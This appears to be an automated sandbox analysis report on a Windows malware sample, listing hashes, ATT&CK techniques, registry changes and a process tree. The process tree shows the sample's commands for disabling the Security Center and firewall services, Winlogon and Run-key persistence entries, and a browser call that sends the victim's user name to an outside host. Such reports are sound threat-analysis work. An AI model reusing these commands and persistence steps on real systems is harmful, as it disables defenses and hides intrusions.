c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665

Analysis

max time kernel
68s
max time network
140s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
06/12/2022, 12:49

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665.exe
Size

32KB
MD5

1598053c6a90319c32d27558ca266fc4
SHA1

3429d5e9c28aa6fc9bd559bed59daf5b2bf7a845
SHA256

c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665
SHA512

e452cd151a1ae5ef35d77a8a39d8dfddb1583abff7d432aa0317c6fcf1f17088cbc795f60c8023278553393b332c13b39eaa63a405d6637c1f5263ae53bbe347
SSDEEP

384:8op9GfTctITeq01NQMcqEdeepsShwknCiZp:8ogsNQ3p3wknCEp

Score

10^/10

evasion persistence

Malware Config

Signatures

Disables service(s) 2 TTPs
evasion

Modify Existing Service
T1031

Service Stop
T1489

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "Explorer.exe \"c:\\winlogon.exe\""	c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665.exe

Modifies service settings 1 TTPs
Alters the configuration of existing services.
evasion

Modify Existing Service
T1031
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run	c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\smss = "c:\\winlogon.exe"	c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1756	sc.exe
1444	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = b08947fc030dd901	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{1E6FEBE1-78F7-11ED-BDAB-FE41811C61F5} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000c72ea35b9d2ad947bd77e2df9a527d1800000000020000000000106600000001000020000000f262f65f1ddf644d46843910395dcf6d015a342fb3283418c2dcdf52819eee6b000000000e8000000002000020000000446311fc6a19d7826a4fe23c509596f5ed8f7c307f341a3aa97e392154438a9f20000000c975ddb955adb816439a90c09b6ae609ff5f9eb14d98091eb43adde5000d60d040000000db03f885686122338e48ebbde2aa5aee538cf8c830dd04039cb5f295e6b0915043d868b8cad2c7cd5c67fdffb484ad54715f7b977e1155e0c671e40262f18a29	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "377488804"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000c72ea35b9d2ad947bd77e2df9a527d180000000002000000000010660000000100002000000031cbe156d5909900df9ae5f9a41d37e23af67b715509da40a8a13423546e5c90000000000e8000000002000020000000b9f6b12910d3cde5d55f4c8c7e65fd03a48971e2794f8693522285fd7343955d90000000adfd29e3d2b370245e6d3bdaa8622d423059d20579c7a5810e5c9ab4269d13f0a087f347221b5f7f2815c5d365572fedf783371c65e1e068f2daf2a30d0b83d73f3143aa1c261b13bce2feae01c44709bc47fbbb0bf99ebbc0b27300a2922753992e4a4281ae12afdf512c798bdd7a5ba32139fef6bd8748707b06877a132005a219c9e34ec223752a3259279de7f430400000001df19771fae733a4c7d8ec068fd41eea03c47207b3e7b9e0247c4086be7dc5fa54bef6bf4567b6a36bc5cd5e4b8ee66fd0c6a8a69397316656bb8e71004e1ce7	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1120	iexplore.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
1900	c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665.exe
1900	c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665.exe
1120	iexplore.exe
1120	iexplore.exe
1732	IEXPLORE.EXE
1732	IEXPLORE.EXE
1732	IEXPLORE.EXE
1732	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1900 wrote to memory of 1924	1900	c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665.exe	27
PID 1900 wrote to memory of 1924	1900	c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665.exe	27
PID 1900 wrote to memory of 1924	1900	c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665.exe	27
PID 1900 wrote to memory of 1924	1900	c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665.exe	27
PID 1900 wrote to memory of 1136	1900	c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665.exe	28
PID 1900 wrote to memory of 1136	1900	c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665.exe	28
PID 1900 wrote to memory of 1136	1900	c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665.exe	28
PID 1900 wrote to memory of 1136	1900	c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665.exe	28
PID 1900 wrote to memory of 1120	1900	c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665.exe	31
PID 1900 wrote to memory of 1120	1900	c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665.exe	31
PID 1900 wrote to memory of 1120	1900	c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665.exe	31
PID 1900 wrote to memory of 1120	1900	c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665.exe	31
PID 1136 wrote to memory of 1444	1136	cmd.exe	33
PID 1136 wrote to memory of 1444	1136	cmd.exe	33
PID 1136 wrote to memory of 1444	1136	cmd.exe	33
PID 1136 wrote to memory of 1444	1136	cmd.exe	33
PID 1924 wrote to memory of 1756	1924	cmd.exe	32
PID 1924 wrote to memory of 1756	1924	cmd.exe	32
PID 1924 wrote to memory of 1756	1924	cmd.exe	32
PID 1924 wrote to memory of 1756	1924	cmd.exe	32
PID 1120 wrote to memory of 1732	1120	iexplore.exe	35
PID 1120 wrote to memory of 1732	1120	iexplore.exe	35
PID 1120 wrote to memory of 1732	1120	iexplore.exe	35
PID 1120 wrote to memory of 1732	1120	iexplore.exe	35

C:\Users\Admin\AppData\Local\Temp\c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665.exe
"C:\Users\Admin\AppData\Local\Temp\c81d87c6da0c01a6188c733a0d2c80b8db9870956c23eb111f4731ad23066665.exe"
1⤵
- Modifies WinLogon for persistence
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1900
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc stop wscsvc sc config wscsvc start=disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1924
- - C:\Windows\SysWOW64\sc.exe
    sc stop wscsvc sc config wscsvc start=disabled
    3⤵
    - Launches sc.exe
    PID:1756
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc stop sharedAccess sc config sharedAccess start=disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1136
- - C:\Windows\SysWOW64\sc.exe
    sc stop sharedAccess sc config sharedAccess start=disabled
    3⤵
    - Launches sc.exe
    PID:1444
- C:\Program Files\Internet Explorer\iexplore.exe
 "C:\Program Files\Internet Explorer\iexplore.exe" http://www.facebook.eu.tp/update.php?datos= ...:::.12/11/2022 1:57:09 AM:::... Instalacion Completa &user=Admin
 2⤵
 - Modifies Internet Explorer settings
 - Suspicious use of FindShellTrayWindow
 - Suspicious use of SetWindowsHookEx
 - Suspicious use of WriteProcessMemory
 PID:1120
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
 "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1120 CREDAT:275457 /prefetch:2
 3⤵
 - Modifies Internet Explorer settings
 - Suspicious use of SetWindowsHookEx
 PID:1732

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\WC027F39.txt

Filesize
603B

MD5
6a962ec1a26f1cb951ec66c6641de900

SHA1
58bbe0316bb5ac8ba4273543b9e314b1651779f2

SHA256
81ce78f10d181f7d0d1b7458ebb3fa3af64c63897322995eb8284c8d68fe1f8a

SHA512
02d1855a33b92943f1537f6acee96d8616f15b76f3c6bc46355aaf362cb5fe843f1dc48d006f603d9a3b409a35d8b4fd62caa5d9456e63a4efd822b0d5eac2ae

Download Submit
memory/1900-56-0x0000000075A81000-0x0000000075A83000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads